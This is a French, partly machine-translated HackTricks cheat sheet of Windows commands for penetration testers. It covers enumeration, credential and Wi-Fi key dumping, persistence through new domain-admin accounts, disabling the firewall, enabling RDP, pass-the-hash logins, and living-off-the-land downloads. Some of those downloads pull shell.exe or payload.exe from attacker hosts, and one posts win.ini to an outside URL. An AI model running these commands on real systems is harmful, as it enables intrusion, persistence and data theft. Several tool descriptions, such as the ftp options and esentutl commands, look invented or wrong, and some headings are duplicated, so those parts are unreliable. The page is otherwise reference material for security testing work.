hacktricks/windows-hardening/basic-cmd-for-pentesters.md

1248 lines
48 KiB
Markdown
Raw Normal View History

2023-06-03 13:10:46 +00:00
# CMD de base pour les Pentesters Windows
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-06-03 13:10:46 +00:00
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>
2023-06-03 13:10:46 +00:00
## Informations système
2023-06-03 13:10:46 +00:00
### Informations sur la version et les correctifs
```bash
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get architecture
systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
2022-10-05 00:11:28 +00:00
wmic computersystem LIST full #Get PC info
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
2022-10-05 00:11:28 +00:00
wmic qfe list brief #Updates
hostname
2022-10-05 00:11:28 +00:00
DRIVERQUERY #3rd party driver vulnerable?
```
2023-06-03 13:10:46 +00:00
### Environnement
```bash
set #List all environment variables
```
2023-06-03 13:10:46 +00:00
Quelques variables d'environnement à souligner :
* **COMPUTERNAME** : Nom de l'ordinateur
* **TEMP/TMP** : Dossier temporaire
* **USERNAME** : Votre nom d'utilisateur
* **HOMEPATH/USERPROFILE** : Répertoire personnel
* **windir** : C:\Windows
* **OS** : Système d'exploitation Windows
* **LOGONSERVER** : Nom du contrôleur de domaine
* **USERDNSDOMAIN** : Nom de domaine à utiliser avec DNS
* **USERDOMAIN** : Nom du domaine
```bash
nslookup %LOGONSERVER%.%USERDNSDOMAIN% #DNS request for DC
```
2023-06-03 13:10:46 +00:00
### Disques montés
```bash
(wmic logicaldisk get caption 2>nul | more) || (fsutil fsinfo drives 2>nul)
2020-08-17 14:38:36 +00:00
wmic logicaldisk get caption,description,providername
```
2023-06-03 13:10:46 +00:00
### [Défenseur](authentication-credentials-uac-and-efs.md#defender)
2023-06-03 13:10:46 +00:00
### Corbeille
```bash
dir C:\$Recycle.Bin /s /b
```
2023-06-03 13:10:46 +00:00
### Processus, Services & Logiciels
---
#### Processes
#### Processus
---
##### List running processes
##### Liste des processus en cours d'exécution
```
tasklist
```
---
##### List running processes with more details
##### Liste des processus en cours d'exécution avec plus de détails
```
tasklist /v
```
---
##### Kill a process by name
##### Tuer un processus par son nom
```
taskkill /IM <process_name>.exe /F
```
---
##### Kill a process by PID
##### Tuer un processus par son PID
```
taskkill /PID <process_PID> /F
```
---
#### Services
#### Services
---
##### List running services
##### Liste des services en cours d'exécution
```
net start
```
2023-06-03 13:10:46 +00:00
---
2023-06-03 13:10:46 +00:00
##### List all services
##### Liste de tous les services
```
sc query
```
---
##### List all services with more details
##### Liste de tous les services avec plus de détails
```
sc queryex type=service
```
---
##### Stop a service
##### Arrêter un service
```
net stop <service_name>
```
---
##### Start a service
##### Démarrer un service
```
net start <service_name>
```
---
##### Restart a service
##### Redémarrer un service
```
net stop <service_name> && net start <service_name>
```
---
#### Software
#### Logiciels
---
##### List installed software
##### Liste des logiciels installés
```
wmic product get name
```
---
##### List installed software with more details
##### Liste des logiciels installés avec plus de détails
```
wmic product get name,version,vendor
```
```bash
schtasks /query /fo LIST /v #Verbose out of scheduled tasks
2020-08-17 14:38:36 +00:00
schtasks /query /fo LIST 2>nul | findstr TaskName
schtasks /query /fo LIST /v > schtasks.txt; cat schtask.txt | grep "SYSTEM\|Task To Run" | grep -B 1 SYSTEM
tasklist /V #List processes
tasklist /SVC #links processes to started services
net start #Windows Services started
wmic service list brief #List services
sc query #List of services
dir /a "C:\Program Files" #Installed software
dir /a "C:\Program Files (x86)" #Installed software
reg query HKEY_LOCAL_MACHINE\SOFTWARE #Installed software
```
2023-06-03 13:10:46 +00:00
## Informations de domaine
```bash
2022-10-05 00:11:28 +00:00
# Generic AD info
echo %USERDOMAIN% #Get domain name
echo %USERDNSDOMAIN% #Get domain name
echo %logonserver% #Get name of the domain controller
set logonserver #Get name of the domain controller
set log #Get name of the domain controller
2022-10-05 00:11:28 +00:00
gpresult /V # Get current policy applied
wmic ntdomain list /format:list #Displays information about the Domain and Domain Controllers
# Users
dsquery user #Get all users
net user /domain #List all users of the domain
net user <ACCOUNT_NAME> /domain #Get information about that user
net accounts /domain #Password and lockout policy
2022-10-05 00:11:28 +00:00
wmic useraccount list /format:list #Displays information about all local accounts and any domain accounts that have logged into the device
wmic /NAMESPACE:\\root\directory\ldap PATH ds_user GET ds_samaccountname #Get all users
wmic /NAMESPACE:\\root\directory\ldap PATH ds_user where "ds_samaccountname='user_name'" GET # Get info of 1 users
wmic sysaccount list /format:list # Dumps information about any system accounts that are being used as service accounts.
# Groups
net group /domain #List of domain groups
net localgroup administrators /domain #List uses that belongs to the administrators group inside the domain (the group "Domain Admins" is included here)
net group "Domain Admins" /domain #List users with domain admin privileges
net group "domain computers" /domain #List of PCs connected to the domain
net group "Domain Controllers" /domain #List PC accounts of domains controllers
wmic group list /format:list # Information about all local groups
wmic /NAMESPACE:\\root\directory\ldap PATH ds_group GET ds_samaccountname #Get all groups
wmic /NAMESPACE:\\root\directory\ldap PATH ds_group where "ds_samaccountname='Domain Admins'" Get ds_member /Value #Members of the group
wmic path win32_groupuser where (groupcomponent="win32_group.name="domain admins",domain="DOMAIN_NAME"") #Members of the group
# Computers
dsquery computer #Get all computers
net view /domain #Lis of PCs of the domain
nltest /dclist:<DOMAIN> #List domain controllers
wmic /NAMESPACE:\\root\directory\ldap PATH ds_computer GET ds_samaccountname #All computers
wmic /NAMESPACE:\\root\directory\ldap PATH ds_computer GET ds_dnshostname #All computers
# Trust relations
nltest /domain_trusts #Mapping of the trust relationships
2022-10-05 00:11:28 +00:00
# Get all objects inside an OU
dsquery * "CN=Users,DC=INLANEFREIGHT,DC=LOCAL"
```
2023-06-03 13:10:46 +00:00
### Journaux et événements
```bash
#Make a security query using another credentials
wevtutil qe security /rd:true /f:text /r:helpline /u:HELPLINE\zachary /p:0987654321
```
2023-06-03 13:10:46 +00:00
## Utilisateurs et groupes
2023-06-03 13:10:46 +00:00
### Utilisateurs
```bash
2022-10-05 00:11:28 +00:00
#Me
whoami /all #All info about me, take a look at the enabled tokens
whoami /priv #Show only privileges
2022-10-05 00:11:28 +00:00
# Local users
net users #All users
dir /b /ad "C:\Users"
net user %username% #Info about a user (me)
net accounts #Information about password requirements
2022-10-05 00:11:28 +00:00
wmic USERACCOUNT Get Domain,Name,Sid
net user /add [username] [password] #Create user
2022-10-05 00:11:28 +00:00
# Other users looged
qwinsta #Anyone else logged in?
#Lauch new cmd.exe with new creds (to impersonate in network)
runas /netonly /user<DOMAIN>\<NAME> "cmd.exe" ::The password will be prompted
#Check current logon session as administrator using logonsessions from sysinternals
logonsessions.exe
logonsessions64.exe
```
2023-06-03 13:10:46 +00:00
### Groupes
```bash
#Local
net localgroup #All available groups
net localgroup Administrators #Info about a group (admins)
2020-11-19 03:16:51 +00:00
net localgroup administrators [username] /add #Add user to administrators
#Domain
net group /domain #Info about domain groups
net group /domain <domain_group_name> #Users that belongs to the group
```
2023-06-03 13:10:46 +00:00
### Liste des sessions
Pour lister les sessions actives sur une machine Windows, vous pouvez utiliser la commande suivante :
2023-06-03 13:10:46 +00:00
```cmd
query session
```
2023-06-03 13:10:46 +00:00
Cette commande affichera une liste des sessions actives avec leur ID de session, leur état, le nom de l'utilisateur et le type de session.
2022-05-17 09:34:10 +00:00
```
qwinsta
klist sessions
```
2023-06-03 13:10:46 +00:00
### Politique de mot de passe
2022-05-17 09:34:10 +00:00
```
2020-08-17 14:38:36 +00:00
net accounts
```
2023-06-03 13:10:46 +00:00
### Identifiants
2022-05-17 09:34:10 +00:00
```bash
cmdkey /list #List credential
2022-08-14 15:38:08 +00:00
vaultcmd /listcreds:"Windows Credentials" /all #List Windows vault
2022-05-17 09:34:10 +00:00
rundll32 keymgr.dll, KRShowKeyMgr #You need graphical access
```
2023-06-03 13:10:46 +00:00
### Persistence avec les utilisateurs
```bash
# Add domain user and put them in Domain Admins group
net user username password /ADD /DOMAIN
net group "Domain Admins" username /ADD /DOMAIN
# Add local user and put them local Administrators group
net user username password /ADD
net localgroup Administrators username /ADD
# Add user to insteresting groups:
net localgroup "Remote Desktop Users" UserLoginName /add
net localgroup "Debugger users" UserLoginName /add
net localgroup "Power users" UserLoginName /add
```
2023-06-03 13:10:46 +00:00
## Réseau
2023-06-03 13:10:46 +00:00
### Interfaces, Routes, Ports, Hôtes et DNSCache
```bash
ipconfig /all #Info about interfaces
route print #Print available routes
2020-08-11 10:48:41 +00:00
arp -a #Know hosts
netstat -ano #Opened ports?
type C:\WINDOWS\System32\drivers\etc\hosts
ipconfig /displaydns | findstr "Record" | findstr "Name Host"
```
2023-06-03 13:10:46 +00:00
### Pare-feu
```bash
netsh firewall show state # FW info, open ports
netsh advfirewall firewall show rule name=all
netsh firewall show config # FW info
Netsh Advfirewall show allprofiles
NetSh Advfirewall set allprofiles state off #Turn Off
NetSh Advfirewall set allprofiles state on #Trun On
netsh firewall set opmode disable #Turn Off
2022-10-05 00:11:28 +00:00
#How to open ports
netsh advfirewall firewall add rule name="NetBIOS UDP Port 138" dir=out action=allow protocol=UDP localport=138
netsh advfirewall firewall add rule name="NetBIOS TCP Port 139" dir=in action=allow protocol=TCP localport=139
netsh firewall add portopening TCP 3389 "Remote Desktop"
2022-10-05 00:11:28 +00:00
#Enable Remote Desktop
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
netsh firewall add portopening TCP 3389 "Remote Desktop"
::netsh firewall set service remotedesktop enable #I found that this line is not needed
::sc config TermService start= auto #I found that this line is not needed
::net start Termservice #I found that this line is not needed
2022-10-05 00:11:28 +00:00
#Enable Remote Desktop with wmic
wmic rdtoggle where AllowTSConnections="0" call SetAllowTSConnections "1"
##or
wmic /node:remotehost path Win32_TerminalServiceSetting where AllowTSConnections="0" call SetAllowTSConnections "1"
#Enable Remote assistance:
reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fAllowToGetHelp /t REG_DWORD /d 1 /f
netsh firewall set service remoteadmin enable
2022-10-05 00:11:28 +00:00
#Ninja combo (New Admin User, RDP + Rassistance + Firewall allow)
net user hacker Hacker123! /add & net localgroup administrators hacker /add & net localgroup "Remote Desktop Users" hacker /add & reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f & reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fAllowToGetHelp /t REG_DWORD /d 1 /f & netsh firewall add portopening TCP 3389 "Remote Desktop" & netsh firewall set service remoteadmin enable
::Connect to RDP (using hash or password)
xfreerdp /u:alice /d:WORKGROUP /pth:b74242f37e47371aff835a6ebcac4ffe /v:10.11.1.49
xfreerdp /u:hacker /d:WORKGROUP /p:Hacker123! /v:10.11.1.49
```
2023-06-03 13:10:46 +00:00
### Partages
```bash
net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares
```
2022-05-17 09:34:10 +00:00
### Wifi
```bash
netsh wlan show profile #AP SSID
netsh wlan show profile <SSID> key=clear #Get Cleartext Pass
```
2022-05-17 09:34:10 +00:00
### SNMP
2023-06-03 13:10:46 +00:00
Le protocole SNMP (Simple Network Management Protocol) est utilisé pour gérer et surveiller les équipements réseau tels que les routeurs, les commutateurs et les serveurs. Il permet aux administrateurs réseau de collecter des informations sur les performances et l'état des équipements réseau, ainsi que de configurer ces équipements à distance.
Les outils de gestion SNMP tels que snmpwalk et snmpget peuvent être utilisés pour interroger les équipements réseau et récupérer des informations telles que les adresses IP, les noms d'hôtes, les adresses MAC et les informations de routage. Cependant, il est important de noter que SNMP peut également être utilisé pour collecter des informations sensibles telles que les mots de passe et les clés de chiffrement.
Les attaquants peuvent utiliser des outils tels que SNMP brute-forcing pour deviner les mots de passe SNMP et accéder aux informations sensibles stockées sur les équipements réseau. Il est donc important de configurer correctement les paramètres de sécurité SNMP, tels que les chaînes de communauté SNMP et les autorisations d'accès, pour éviter les fuites d'informations sensibles.
2022-05-17 09:34:10 +00:00
```
reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s
```
2023-06-03 13:10:46 +00:00
### Interfaces Réseau
2020-08-17 14:38:36 +00:00
```bash
ipconfig /all
```
2023-06-03 13:10:46 +00:00
### Table ARP
2020-08-17 14:38:36 +00:00
2023-06-03 13:10:46 +00:00
La table ARP (Address Resolution Protocol) est utilisée pour mapper les adresses IP aux adresses MAC. Elle stocke les informations sur les adresses MAC des périphériques connectés au réseau local. Pour afficher la table ARP, utilisez la commande suivante :
2020-08-17 14:38:36 +00:00
2023-06-03 13:10:46 +00:00
```
arp -a
```
2020-08-17 14:38:36 +00:00
```bash
arp -A
```
2023-06-03 13:10:46 +00:00
## Téléchargement
Bitsadmin.exe
2022-05-17 09:34:10 +00:00
```
bitsadmin /create 1 bitsadmin /addfile 1 https://live.sysinternals.com/autoruns.exe c:\data\playfolder\autoruns.exe bitsadmin /RESUME 1 bitsadmin /complete 1
```
2023-06-03 13:10:46 +00:00
# CertReq.exe
CertReq.exe est un outil en ligne de commande qui permet de soumettre des demandes de certificat à une autorité de certification (CA). Il est inclus dans les systèmes d'exploitation Windows et peut être utilisé pour créer et gérer des certificats.
## Syntaxe
```
certreq -new <NomFichier>.inf <NomFichier>.cer
```
2023-06-03 13:10:46 +00:00
## Exemple
2020-09-07 11:12:11 +00:00
2023-06-03 13:10:46 +00:00
```
certreq -new certificat.inf certificat.cer
```
Dans cet exemple, CertReq.exe utilise le fichier d'informations "certificat.inf" pour créer une demande de certificat. Une fois la demande soumise à l'autorité de certification, le certificat sera généré et stocké dans le fichier "certificat.cer".
2022-05-17 09:34:10 +00:00
```
CertReq -Post -config https://example.org/ c:\windows\win.ini output.txt
```
2023-06-03 13:10:46 +00:00
# Certutil.exe
2023-06-03 13:10:46 +00:00
Certutil.exe est un outil en ligne de commande qui est installé par défaut sur les systèmes d'exploitation Windows. Il est principalement utilisé pour gérer les certificats numériques et les services de certification. Cependant, il peut également être utilisé pour effectuer des tâches de base en tant que pentester.
2020-09-07 11:12:11 +00:00
2023-06-03 13:10:46 +00:00
## Vérification de la signature numérique
Certutil.exe peut être utilisé pour vérifier la signature numérique d'un fichier. Cela peut être utile pour déterminer si un fichier a été modifié ou s'il est authentique.
```cmd
certutil -hashfile <nom du fichier> <algorithme de hachage>
certutil -verify <nom du fichier>
2022-05-17 09:34:10 +00:00
```
2023-06-03 13:10:46 +00:00
## Conversion de certificats
Certutil.exe peut être utilisé pour convertir des certificats d'un format à un autre.
```cmd
certutil -encode <nom du fichier d'entrée> <nom du fichier de sortie>
certutil -decode <nom du fichier d'entrée> <nom du fichier de sortie>
```
2023-06-03 13:10:46 +00:00
## Affichage des informations de certificat
Certutil.exe peut être utilisé pour afficher les informations d'un certificat.
2020-09-07 11:12:11 +00:00
2023-06-03 13:10:46 +00:00
```cmd
certutil -dump <nom du fichier de certificat>
2022-05-17 09:34:10 +00:00
```
2023-06-03 13:10:46 +00:00
## Téléchargement de certificats
Certutil.exe peut être utilisé pour télécharger des certificats à partir d'un serveur.
```cmd
certutil -urlcache -split -f <URL du certificat> <nom du fichier de sortie>
```
## Vérification de la révocation de certificat
Certutil.exe peut être utilisé pour vérifier si un certificat a été révoqué.
```cmd
certutil -url <URL de la liste de révocation de certificat>
```
2023-06-03 13:10:46 +00:00
## Vérification de la chaîne de certificats
Certutil.exe peut être utilisé pour vérifier la chaîne de certificats.
2020-09-07 11:12:11 +00:00
2023-06-03 13:10:46 +00:00
```cmd
certutil -verify -urlfetch <nom du fichier de certificat>
```
```
certutil.exe -urlcache -split -f "http://10.10.14.13:8000/shell.exe" s.exe
```
Desktopimgdownldr.exe
```
set "SYSTEMROOT=C:\Windows\Temp" && cmd /c desktopimgdownldr.exe /lockscreenurl:https://domain.com:8080/file.ext /eventName:desktopimgdownldr
```
Diantz.exe est un outil de compression de fichiers qui peut être utilisé pour compresser et décompresser des fichiers. Il est souvent utilisé par les attaquants pour compresser des fichiers malveillants afin de les rendre plus difficiles à détecter par les logiciels antivirus. Les pentesteurs peuvent également utiliser Diantz.exe pour compresser des fichiers de données sensibles avant de les transférer sur un réseau non sécurisé.
2022-05-17 09:34:10 +00:00
```
diantz.exe \\remotemachine\pathToFile\file.exe c:\destinationFolder\file.cab
```
2023-06-03 13:10:46 +00:00
# Esentutl.exe
`Esentutl.exe` est un outil de ligne de commande qui permet de gérer les bases de données Jet Blue (`.edb`). Il est utilisé pour effectuer des tâches telles que la récupération de données, la réparation de fichiers corrompus et la vérification de l'intégrité des fichiers.
## Syntaxe
```
esentutl.exe <command> <options>
```
## Commandes
- `/r` - Récupère une base de données à partir d'un fichier journal.
- `/p` - Répare une base de données corrompue.
- `/g` - Vérifie l'intégrité d'une base de données.
- `/d` - Défragmente une base de données.
- `/cc` - Crée une copie de sécurité de la base de données.
- `/mm` - Affiche des informations sur la mémoire utilisée par la base de données.
- `/vss` - Crée une copie de sécurité de la base de données en utilisant le service de cliché instantané de volume (VSS).
## Options courantes
- `/s <path>` - Spécifie le chemin d'accès à la base de données.
- `/o` - Écrase la base de données existante lors de la récupération.
- `/i` - Ignore les erreurs de vérification de l'intégrité de la base de données.
- `/t` - Affiche des informations de débogage supplémentaires.
## Exemples
### Récupérer une base de données à partir d'un fichier journal
```
esentutl.exe /r edb.log /l "C:\Program Files\Microsoft\Exchange Server\V15\Mailbox\Mailbox Database 1" /d "C:\Program Files\Microsoft\Exchange Server\V15\Mailbox\Mailbox Database 1"
```
### Réparer une base de données corrompue
```
esentutl.exe /p "C:\Program Files\Microsoft\Exchange Server\V15\Mailbox\Mailbox Database 1\Mailbox Database 1.edb"
```
2023-06-03 13:10:46 +00:00
### Vérifier l'intégrité d'une base de données
2020-09-07 11:12:11 +00:00
2023-06-03 13:10:46 +00:00
```
esentutl.exe /g "C:\Program Files\Microsoft\Exchange Server\V15\Mailbox\Mailbox Database 1\Mailbox Database 1.edb"
```
2022-05-17 09:34:10 +00:00
```
esentutl.exe /y \\live.sysinternals.com\tools\adrestore.exe /d \\otherwebdavserver\webdav\adrestore.exe /o
```
2023-06-03 13:10:46 +00:00
# Expand.exe
`Expand.exe` est un outil de ligne de commande qui permet de décompresser des fichiers compressés dans des archives Microsoft Cabinet (.cab). Il est généralement utilisé pour extraire des fichiers système à partir de fichiers d'installation Windows.
2023-06-03 13:10:46 +00:00
## Syntaxe
2020-09-07 11:12:11 +00:00
2022-05-17 09:34:10 +00:00
```
2023-06-03 13:10:46 +00:00
expand.exe [-r] source [destination]
```
## Options
- `-r` : permet de décompresser récursivement tous les fichiers dans le répertoire source et ses sous-répertoires.
## Exemples
- Extraire tous les fichiers d'une archive `.cab` :
```
expand.exe source.cab
```
2023-06-03 13:10:46 +00:00
- Extraire tous les fichiers d'une archive `.cab` dans un répertoire spécifique :
2020-09-07 11:12:11 +00:00
2023-06-03 13:10:46 +00:00
```
expand.exe source.cab -d C:\destination
```
- Extraire tous les fichiers d'une archive `.cab` récursivement :
```
expand.exe -r source.cab
```
- Extraire tous les fichiers d'une archive `.cab` récursivement dans un répertoire spécifique :
```
expand.exe -r source.cab -d C:\destination
```
```
expand \\webdav\folder\file.bat c:\ADS\file.bat
```
Extrac32.exe est un outil de ligne de commande qui permet d'extraire des fichiers à partir de fichiers .cab. Il est disponible sur les systèmes d'exploitation Windows.
2022-05-17 09:34:10 +00:00
```
extrac32 /Y /C \\webdavserver\share\test.txt C:\folder\test.txt
```
2023-06-03 13:10:46 +00:00
# Findstr.exe
`findstr` est une commande de recherche de chaînes de caractères dans des fichiers ou des chaînes de caractères. Elle est très utile pour la recherche de mots de passe, de noms d'utilisateurs et d'autres informations sensibles dans les fichiers système.
2023-06-03 13:10:46 +00:00
## Syntaxe
2020-09-07 11:12:11 +00:00
2023-06-03 13:10:46 +00:00
```
findstr [/b] [/e] [/l] [/r] [/s] [/i] [/x] [/v] [/n] [/m] [/o] [/p] [/f: FichierTexte] [/c: Chaîne] [/g: FichierTexte] [Chaîne [Fichier [Fichier] ...]]
```
## Options
- `/b` : Recherche les chaînes de caractères qui commencent par la chaîne spécifiée.
- `/e` : Recherche les chaînes de caractères qui se terminent par la chaîne spécifiée.
- `/l` : Recherche les chaînes de caractères qui correspondent exactement à la chaîne spécifiée.
- `/r` : Recherche les chaînes de caractères qui correspondent à une expression régulière.
- `/s` : Recherche les chaînes de caractères dans les sous-répertoires.
- `/i` : Recherche les chaînes de caractères sans tenir compte de la casse.
- `/x` : Recherche les chaînes de caractères qui correspondent exactement à la chaîne spécifiée, y compris les espaces.
- `/v` : Recherche les chaînes de caractères qui ne correspondent pas à la chaîne spécifiée.
- `/n` : Affiche le numéro de ligne de chaque occurrence trouvée.
- `/m` : Affiche seulement les noms des fichiers contenant des occurrences.
- `/o` : Affiche le décalage de chaque occurrence trouvée.
- `/p` : Skip files with non-printable characters.
- `/f: FichierTexte` : Spécifie un fichier contenant une liste de chaînes de caractères à rechercher.
- `/c: Chaîne` : Spécifie la chaîne de caractères à rechercher.
- `/g: FichierTexte` : Spécifie un fichier contenant une liste de fichiers à rechercher.
## Exemples
- `findstr /s /i /n /p password *.txt` : Recherche le mot de passe dans tous les fichiers texte du répertoire actuel et de ses sous-répertoires, sans tenir compte de la casse, en affichant le numéro de ligne et en sautant les fichiers avec des caractères non imprimables.
- `findstr /s /i /n /p /m /c:"password" *` : Recherche le mot de passe dans tous les fichiers du répertoire actuel et de ses sous-répertoires, sans tenir compte de la casse, en affichant le numéro de ligne et en sautant les fichiers avec des caractères non imprimables, et en affichant seulement les noms des fichiers contenant des occurrences.
- `findstr /s /i /n /p /m /f:liste.txt *` : Recherche toutes les chaînes de caractères contenues dans le fichier `liste.txt` dans tous les fichiers du répertoire actuel et de ses sous-répertoires, sans tenir compte de la casse, en affichant le numéro de ligne et en sautant les fichiers avec des caractères non imprimables, et en affichant seulement les noms des fichiers contenant des occurrences.
2022-05-17 09:34:10 +00:00
```
findstr /V /L W3AllLov3DonaldTrump \\webdavserver\folder\file.exe > c:\ADS\file.exe
```
2023-06-03 13:10:46 +00:00
# Ftp.exe
`ftp.exe` est un client FTP en ligne de commande qui est inclus dans les systèmes d'exploitation Windows. Il peut être utilisé pour se connecter à un serveur FTP et transférer des fichiers.
2023-06-03 13:10:46 +00:00
## Syntaxe
2020-09-07 11:12:11 +00:00
2022-05-17 09:34:10 +00:00
```
2023-06-03 13:10:46 +00:00
ftp [-v] [-d] [-i] [-n] [-g] [-s:filename] [-a] [-A] [-x:sendbuffer] [-r:recvbuffer] [-b:asyncbuffers] [-w:windowsize] [host]
```
2023-06-03 13:10:46 +00:00
## Options
- `-v` : Mode verbeux. Affiche toutes les réponses du serveur FTP.
- `-d` : Mode débogage. Affiche des informations supplémentaires pour le débogage.
- `-i` : Mode non interactif. Désactive les demandes de confirmation pour les commandes.
- `-n` : Désactive l'auto-login. Utilisé pour spécifier un nom d'utilisateur et un mot de passe lors de la connexion.
- `-g` : Désactive la prise en charge du fichier de hachage généré par le serveur FTP.
- `-s:filename` : Spécifie un fichier contenant des commandes FTP à exécuter.
- `-a` : Utilise le mode ASCII pour transférer les fichiers.
- `-A` : Utilise le mode binaire pour transférer les fichiers.
- `-x:sendbuffer` : Spécifie la taille du tampon d'envoi.
- `-r:recvbuffer` : Spécifie la taille du tampon de réception.
- `-b:asyncbuffers` : Spécifie le nombre de tampons asynchrones à utiliser.
- `-w:windowsize` : Spécifie la taille de la fenêtre de transfert.
## Exemples
- Se connecter à un serveur FTP :
2020-09-07 11:12:11 +00:00
2022-05-17 09:34:10 +00:00
```
2023-06-03 13:10:46 +00:00
ftp ftp.example.com
```
- Se connecter à un serveur FTP avec un nom d'utilisateur et un mot de passe :
```
ftp -n ftp.example.com
User: username
Password: password
```
- Télécharger un fichier :
```
ftp> get filename
```
- Télécharger un répertoire :
```
ftp> mget *
```
- Télécharger un répertoire et ses sous-répertoires :
```
ftp> mget * -s
```
- Télécharger un fichier en mode binaire :
```
2023-06-03 13:10:46 +00:00
ftp> binary
ftp> get filename
```
- Télécharger un fichier en mode ASCII :
```
ftp> ascii
ftp> get filename
```
- Télécharger un fichier en utilisant un proxy :
2023-06-03 13:10:46 +00:00
```
ftp -v -d -i -n -g -s:filename -a -A -x:sendbuffer -r:recvbuffer -b:asyncbuffers -w:windowsize -e:proxy ftp.example.com
```
```
cmd.exe /c "@echo open attacker.com 21>ftp.txt&@echo USER attacker>>ftp.txt&@echo PASS PaSsWoRd>>ftp.txt&@echo binary>>ftp.txt&@echo GET /payload.exe>>ftp.txt&@echo quit>>ftp.txt&@ftp -s:ftp.txt -v"
```
GfxDownloadWrapper.exe
```
C:\Windows\System32\DriverStore\FileRepository\igdlh64.inf_amd64_[0-9]+\GfxDownloadWrapper.exe "URL" "DESTINATION FILE"
```
Hh.exe
2020-09-07 11:12:11 +00:00
2023-06-03 13:10:46 +00:00
Hh.exe is a Microsoft HTML Help executable that is used to display compiled help files (.chm) on Windows systems. It can also be used to execute arbitrary commands on the system.
Hh.exe est un exécutable Microsoft HTML Help qui est utilisé pour afficher des fichiers d'aide compilés (.chm) sur les systèmes Windows. Il peut également être utilisé pour exécuter des commandes arbitraires sur le système.
2022-05-17 09:34:10 +00:00
```
HH.exe http://some.url/script.ps1
```
2023-06-03 13:10:46 +00:00
# ieexec.exe
ieexec.exe is a binary that can be used to execute Internet Explorer with a specific URL. This can be useful for bypassing application whitelisting or executing code on a target machine.
## Usage
2023-06-03 13:10:46 +00:00
```
ieexec.exe <URL>
```
## Example
```
ieexec.exe http://example.com
```
2020-09-07 11:12:11 +00:00
2023-06-03 13:10:46 +00:00
This will open Internet Explorer and navigate to http://example.com.
2022-05-17 09:34:10 +00:00
```
ieexec.exe http://x.x.x.x:8080/bypass.exe
```
2023-06-03 13:10:46 +00:00
# Makecab.exe
`Makecab.exe` est un outil de compression de fichiers intégré à Windows. Il est souvent utilisé pour compresser des fichiers dans des archives CAB. Les archives CAB sont souvent utilisées pour distribuer des mises à jour logicielles et des pilotes.
## Syntaxe
```
makecab [/V[n]] [/D var=value ...] [/L dir] source [destination]
```
2023-06-03 13:10:46 +00:00
## Options
- `/V[n]` : Définit le niveau de verbosité. Plus `n` est grand, plus le niveau de détail est élevé.
- `/D var=value` : Définit une variable d'environnement pour le processus de compression.
- `/L dir` : Définit le répertoire de destination pour les fichiers de journalisation.
- `source` : Spécifie le fichier ou le répertoire source à compresser.
- `destination` : Spécifie le nom et le chemin de l'archive CAB à créer. Si cette option n'est pas spécifiée, `makecab.exe` utilise le nom du fichier source avec l'extension `.cab`.
## Exemples
- Pour compresser un fichier nommé `file.txt` dans une archive CAB nommée `file.cab` :
2020-09-07 11:12:11 +00:00
2023-06-03 13:10:46 +00:00
```
makecab file.txt file.cab
```
- Pour compresser tous les fichiers dans un répertoire nommé `folder` dans une archive CAB nommée `folder.cab` :
```
makecab folder folder.cab
```
- Pour compresser tous les fichiers dans un répertoire nommé `folder` dans une archive CAB nommée `archive.cab` et enregistrer les fichiers de journalisation dans un répertoire nommé `logs` :
```
makecab /L logs folder archive.cab
```
2022-05-17 09:34:10 +00:00
```
makecab \\webdavserver\webdav\file.exe C:\Folder\file.cab
```
2023-06-03 13:10:46 +00:00
# MpCmdRun.exe
MpCmdRun.exe est l'exécutable de ligne de commande de Windows Defender. Il peut être utilisé pour effectuer des analyses à la demande, mettre à jour les définitions de virus et effectuer d'autres tâches de gestion de Windows Defender.
2023-06-03 13:10:46 +00:00
## Syntaxe
2020-09-07 11:12:11 +00:00
2022-05-17 09:34:10 +00:00
```
2023-06-03 13:10:46 +00:00
MpCmdRun.exe [commande] [-options]
```
## Commandes
- **-SignatureUpdate** : Met à jour les définitions de virus.
- **-Scan** : Effectue une analyse à la demande.
- **-Trace** : Active la journalisation des événements de Windows Defender.
- **-GetFiles** : Récupère des fichiers suspects pour analyse.
- **-RemoveDefinitions** : Supprime toutes les définitions de virus existantes.
## Options
